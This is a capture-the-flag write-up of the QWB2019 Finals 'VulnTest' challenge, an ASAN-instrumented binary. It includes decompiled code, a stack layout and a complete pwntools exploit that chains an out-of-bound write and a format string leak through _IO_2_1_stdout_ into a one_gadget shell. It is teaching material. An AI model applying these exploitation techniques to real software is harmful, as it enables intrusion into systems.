Mid Station

[QWB2019 Finals] VulnTest

本来以为去年的春节已经足够不堪了,怎料今年更是难上加难。
第一次在外地过年就遇上疫情爆发的事情,本来计划家人来过年也只能取消了。不过不能出门正好也拥有了大段空闲时间,与其像朋友圈里面的各位花式秀无聊,不如静下心来攻克之前没有完成的一些题目。

This is a challenge from QiangWangBei Finals last year, it’s a RealWorld challenge. Only about 3~4 teams were able to finish it in the game. You can download the challenge files here. The challenge is called VulnTest, it contains some obvious bugs but the difficulty lies in the exploitation. It was compiled with AddressSanitizer(ASAN), which is designed to detect the memory corruption thoroughly, so it could provide extra protection for the program. If a vulnerability is triggered, it can be detected as soon as possible and the program died out.

Recon

Because of the ASAN insturmentation, the decompilation result from IDA is hard to read. But you can still ignore all the instrumentation stuff and recongize the core logic of the program. It is nothing new but another “menu challenge”. It provides 3 tests.

Test1

Test1 have Write Card and Show Card options, it is a test of format string vulnerability.

Write Card

This function provides a chance to write 7 bytes to a stack buffer. And it will check if the inputed string contains % character, if it does, it will go on to check if it contains any character from $dufscnpexXog, in the hope of preventing format string attack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
char *__fastcall write_card1(char *a1)
{
__int64 v1; // rax
char *result; // rax MAPDST
char v3; // dl
int i; // [rsp+14h] [rbp-Ch]

v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Input your test string:");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
memset(a1, 0, 0x10uLL);
read_into((unsigned __int64)a1, 7LL);
result = strchr(a1, '%');
if ( result )
{
for ( i = 0; i <= 12; ++i )
{
v3 = *(_BYTE *)(((unsigned __int64)&a1[i + 0x20] >> 3) + 0x7FFF8000);
if ( v3 != 0 && ((i + 0x20 + (unsigned __int8)a1) & 7) >= v3 )
__asan_report_load1((__int64)&a1[i + 0x20]);// $dufscnpexXog
result = strchr(result, a1[i + 0x20]);
if ( result )
{
puts("Format string detected!!");
__asan_handle_no_return();
exit(0);
}
}
}
return result;
}

Show Card

This function contains a format string vulnerability, it can use the inputed string from Write Card as the format string to sprintf. Also, the sprintf arguments are over-lapping each other, it could cause unexpected behavior. To mitigate the format string vulnerability, it added a check to see if two arguments equals after the formatting process. If they are not equal, the program exits.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall show_card1(const char *a1)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
int result; // eax
char *format; // [rsp+8h] [rbp-8h]

format = (char *)a1;
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Oh!It's incredible.");
v2 = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
v3 = std::operator<<<std::char_traits<char>>(v2, "There is a format string!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
memset((void *)(a1 + 16), 0, 0x10uLL);
sprintf(format + 16, format); // format string vulns!!!
if ( *(_BYTE *)(((unsigned __int64)(format + 16) >> 3) + 0x7FFF8000) != 0
&& (((unsigned __int8)format + 16) & 7) >= *(_BYTE *)(((unsigned __int64)(format + 16) >> 3) + 0x7FFF8000) )
{
__asan_report_load1((__int64)(a1 + 16));
}
if ( a1[16] )
{
if ( strcmp(a1 + 16, a1) )
{
puts("You can't test dangerous characters");
__asan_handle_no_return();
exit(0);
}
puts("Your data:");
result = puts(a1 + 16);
}
else
{
result = puts("It seems that you think the test is boring. \nLet's finish it ahead of time.");
TEST1_DONE = 1;
}
return result;
}

Test2

Test1 also have Write Card and Show Card options, it is a test of Out-of-Bound Write Vulnerability.

Write Card

We can write data to a 0x30 sized buffer on the stack, and we can specify the index of where to write. It has check to see if the start index greater than 0x30, but the index could be negative, that means we can overwrite the content before the target buffer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
size = get_int();
if ( size > 47 )
{
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "You must enter 0~47!");
v7 = std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<std::char_traits<char>>(v7, "Bye~");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
__asan_handle_no_return();
exit(0);
}
memset(a1, 0, 0x30uLL);
...
a1[size] = v9;
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "Oh!It's incredible.");
v12 = std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
v13 = std::operator<<<std::char_traits<char>>(v12, "There is a stack overflow!");
std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
if ( *(char *)(((v1 + 32) >> 3) + 0x7FFF8000) < 0 )
__asan_report_load1(v1 + 32);
if ( *(_BYTE *)(v1 + 32) == 10 )
break;
scanf("%c", v1 + 32);
if ( *(char *)(((v1 + 32) >> 3) + 0x7FFF8000) < 0 )
__asan_report_load1(v1 + 32);
if ( !*(_BYTE *)(v1 + 32) )
break;
if ( *(char *)(((v1 + 32) >> 3) + 0x7FFF8000) < 0 )
__asan_report_load1(v1 + 32);
v14 = *(_BYTE *)(v1 + 32);
v15 = *(_BYTE *)(((unsigned __int64)&a1[size] >> 3) + 0x7FFF8000);
if ( v15 != 0 && ((size + (unsigned __int8)a1) & 7) >= v15 )
__asan_report_store1(&a1[size]);
a1[size] = v14;
if ( *(_BYTE *)(v1 + 32) == 10 )
{
a1[size] = 0;
break;
}
++size;
}

Read Card

Just an output function for the target buffer.

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall show_card2(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax

v1 = std::operator<<<std::char_traits<char>>(&std::cout, "There is your note:");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1);
return std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}

Test3

Test3 is a tyical heap challenge test, it contains add, delete, edit, open. This test is only avaliable if Test1 and Test2 have been visited. I reversed the whole thing and there is an obvious use-after-free vulnerability. Because of the protection of ASAN, it could be hard to exploit. I did not use any function of the Test3 in my exploit, so I won’t post the psedo-code here to save some space.

Main

It seems the vulnerabilities from these test function are well protected by the checks or ASAN mechanism, but since the variable/buffer are all located on stack, it is possible to influence mutually. The first thing to do is finding out the layout of these variable/buffer.

1
2
3
4
5
6
7
8
9
10
struct context
{
char header[0x20];
char buf_test1[0x60];
char buf_test2[0x60];
struct buf_test3 {
__int64 key;
__int64 ptr;
}[0x10];
};

We can read the psuedo code and construct the layout above, but if we attach gdb to view the memory, we can see the following memory layout. On the left is the actual memory layout on the stack, on the right is so call shadow memory, which is another memory mapping to trace the usage of the memory, in order to detect overflow or other memory corruption.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
                        shadow memory
+----------------+-----------+
| header | |
| |f1 f1 f1 f1|
+----------------------------+
| buf_test1 | |
| 0x2d | |
| +---+ |
0x60 +------------+XXX| f2 f2|
|XXX Red Zone XXX|f2 f2 f2 f2|
|XXXXXXXXXXXXXXXX| |
|XXXXXXXXXXXXXXXX| |
+----------------------------+
| buf_test2 | |
| 0x30 | |
| | |
0x60 +----------------+ |
|XXX Red Zone XXX|f2 f2 f2 f2|
|XXXXXXXXXXXXXXXX|f2 f2 |
|XXXXXXXXXXXXXXXX| |
+----------------------------+
| buf_test3 | |
| 0xa0 | |
| | |
0xa0 | | |
| | |
| ...... | |
+----------------------------+
| |f3 f3 f3 f3|
| | |
+----------------+-----------+

For a complete explanation of the algorithm, you can refer to AddressSanitizerAlgorithm.
For this challenge, we only need to know two points:

  1. Shadow = (Mem >> 3) + 0x7fff8000;
  2. The byte used in shadow memory:
    f1: Stack left redzone
    f2: Stack mid redzone
    f3: Stack right redzone

Exploitation

The binary has turned on all mitigation, so the first thing we want to do is leaking some address.

1
2
3
4
5
6
7
8
matthew@matthew-Virtual-Machine > checksec ./VulnTest
[*] './VulnTest'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ASAN: Enabled

We have a format string vuln and an out-of-bound(OOB) vuln, it is natual to consider combine them together. With the OOB, we can overwrite the bad character set on the stack, then we can bypass the bad character check. And we can also write the format string to buf_test1 with the out-of-bound vuln, then we can ignore the constrain of the max length of 7 bytes.

But the question is, even we can prepare the format string and let sprintf process it, we could not get its output because of the strcmp check.

1
2
3
4
5
6
7
8
9
10
if ( a1[16] )
{
if ( strcmp(a1 + 16, a1) )
{
puts("You can't test dangerous characters");
__asan_handle_no_return();
exit(0);
}
puts("Your data:");
result = puts(a1 + 16);

Then I check the stack again in the write_card of test2 to see what can we do with the OOB capability. I marked the bufffer as well as the red zone, remember that what we can control is buf_test2 itself and the content above. As we mentioned, we can fully control buf_test1 and utilize the format string vuln, but we could not leak data from that. We can see the return address also can be controlled. I tried to partial over write the return address to somewhere else and skip the TEST2_DONE setting, it works and we can do aribitrary times of Test2.

However, our primrary task is leaking address. I also try to write 0x30 of A to buf_test2 and leaking the address in the red zone. But once the program reads or writes the red zone buffer, it dies.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
00:0000│ rbp          0x7ffe86bf69f0 —▸ 0x7ffe86bf6bc0 —▸ 0x560bf17f5ea0 ◂— push   r15
01:0008│ [RET ADDR] 0x7ffe86bf69f8 —▸ 0x560bf17f4265 ◂— jmp 0x560bf17f4291
02:0010│ 0x7ffe86bf6a00 ◂— 0x6
03:0018│ [IO_STDOUT] 0x7ffe86bf6a08 —▸ 0x7f71852cd760 (_IO_2_1_stdout_) —▸ 0xfbad3c83 ◂— 0x0
04:0020│ 0x7ffe86bf6a10 ◂— 0x41b58ab3
05:0028│ 0x7ffe86bf6a18 —▸ 0x560bf17f9420 ◂— xor esp, dword ptr [rax]
06:0030│ 0x7ffe86bf6a20 —▸ 0x560bf17f3fec ◂— push rbp
07:0038+ 0x7ffe86bf6a28 ◂— 0x35680b6aed009f00
08:0040+ ------------+0x7ffe86bf6a30 ◂— 0x0
... ↓ buf_test1
0c:0060│ 0x7ffe86bf6a50 ◂— '$dufscnpexXog'
0d:0068│ +-----------+0x7ffe86bf6a58 —▸ 0x676f587865 ◂— 0x0
0e:0070│ RED ZONE 0x7ffe86bf6a60 —▸ 0x7f71856529a8 ◂— 0x8
0f:0078│ 0x7ffe86bf6a68 —▸ 0x7f7185363456 (__dynamic_cast+118) ◂— mov rdx, qword ptr [rsp + 0x10]
10:0080│ 0x7ffe86bf6a70 —▸ 0x7f71856589c0 —▸ 0x7f7185653810 —▸ 0x7f71853f98a0 ◂— ...
11:0088│ 0x7ffe86bf6a78 —▸ 0x7ffe86bf6a80 —▸ 0x7f71856589c0 —▸ 0x7f7185653810 ◂— ...
12:0090│ 0x7ffe86bf6a80 —▸ 0x7f71856589c0 —▸ 0x7f7185653810 —▸ 0x7f71853f98a0 ◂— ...
13:0098│ 0x7ffe86bf6a88 ◂— 0x6
14:00a0│ rdx+--------+0x7ffe86bf6a90 ◂— 0x0
... ↓ buf_test2
1a:00d0│ +-----------+0x7ffe86bf6ac0 —▸ 0x7f7185659924 ◂— 0x2
1b:00d8│ RED ZONE 0x7ffe86bf6ac8 —▸ 0x7f71853fd05b ◂— test rax, rax
1c:00e0│ 0x7ffe86bf6ad0 —▸ 0x7f7185657878 (std::wclog+216) —▸ 0x7f71856596a0 ◂— 0x10
1d:00e8│ 0x7ffe86bf6ad8 —▸ 0x7f71853cb4e6 ◂— mov qword ptr [rbp + 0x100], rax
1e:00f0│ 0x7ffe86bf6ae0 —▸ 0x7f71856579e8 (std::wcout+8) —▸ 0x7f71856529e8 —▸ 0x7f71853e4b30 ◂— ...
1f:00f8│ ------------+0x7ffe86bf6ae8 —▸ 0x7f71852d1628 (__exit_funcs_lock) ◂— 0x0
20:0100│ buf_test3 0x7ffe86bf6af0 ◂— 0x0
... ↓
30:0180│ 0x7ffe86bf6b70 —▸ 0x7ffe86bf6b80 ◂— 0x4

Notice that there is a pointer to _IO_2_1_stdout on the stack. That reminds me the the file struct technique introduced by angelboy: Play with FILE Structure - Yet Another Binary Exploitation Technique. We can overwrite _IO_2_1_stdout_->_IO_write_base to leak some addresses. So the idea becomes clear, we can overwrite the lowest byte of _IO_2_1_stdout_ with OOB, from 0x60 to 0x80, then it will point to _IO_write_base. And we can use the format string with %n character to overwrite the lowest byte of _IO_write_base to \x00, and it will leak some libc address when next time puts is called.
How to bypass the strcmp check? I found that the format string %10$hhn%6$s could do the job and pass the check.

With the libc address, we can use Test2 OOB one more time to write its return address to one_gadget. And lucky for us, rsp + 0x40 locates in buf_test2, so it can be easily set to null.

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

def chose(n):
p.sendlineafter("command>> ", str(n))

def test1():
chose("1")

def write_str(ss):
chose("1")
p.sendafter("Input your test string:", ss)

def show_str():
chose("2")

def back():
chose("3")

def test2():
chose("2")

def write_arr(idx, ss):
chose("1")
p.sendafter("So,tell me where you want to start(0~47):", (str(idx)+"\n")[:])
p.sendafter("There is a stack overflow!", ss)

def show_arr():
chose("2")

test2()
write_arr("0", "B"*0x30 + "\x00") # fill buf_test2
write_arr("-64", cyclic(12)+"\n") # overwrite bad char set
write_arr("-96", "%10$hhn%6$s"+ "\n") # format string
write_arr("-136", "\x80\x00") # overwrite _IO_2_1_stdout_ to _IO_2_1_stdout_->_IO_write_base
write_arr("-152", "\x9e\x00") # overwrite return address to skip setting TEST2_DONE.
test1()
show_str()
# leak data
ru("string!\n")
content = ru("Your data")
leak_libc = uu64(content[8:16])
info_addr("leak_libc", leak_libc)
libc = leak_libc - 0x3ed8b0
info_addr("libc", libc)
gdb.attach(p, gdbcmd)
back()
test2()
one = libc + 0x4f2c5

for i in range(3):
write_arr(str(-88+i), "\n") # prepare [rsp + 0x40] == 0

write_arr("-152", p64(one)[:-1]) # write one_gadget to return address

p.interactive()

Wrapup

This challenge contains more function logic than normal one, and the ASAN compile option takes me more time on reversing. I’m sure that there are other solutions could reach the goal. I remember that at final, because this is a real-world style challenge, teams need to show their solution on stage, some teams need to perform some guessing to get the shell.

The binary itself is heavily protected by sundry checks, there are some checks about verifying if the address outside forbidden range before writing to it. Frankly, I didn’t look into Test3 closely and consider how to bypass these checks. Because I know that the primary task is getting some leaks, without known address, we could not bypass the ASAN checks in Test3 anyway.

During the search of a workable memory leakage, I came up with this solution. The lesson is we should clear about what capability we’ve got, in this case OOB and format string. We can make a roadmap and ignore all the seemly scary irrelevant mitigations, then solve the checkpoints one by one.

References

  1. https://github.com/google/sanitizers/wiki/AddressSanitizerAlgorithm
  2. https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf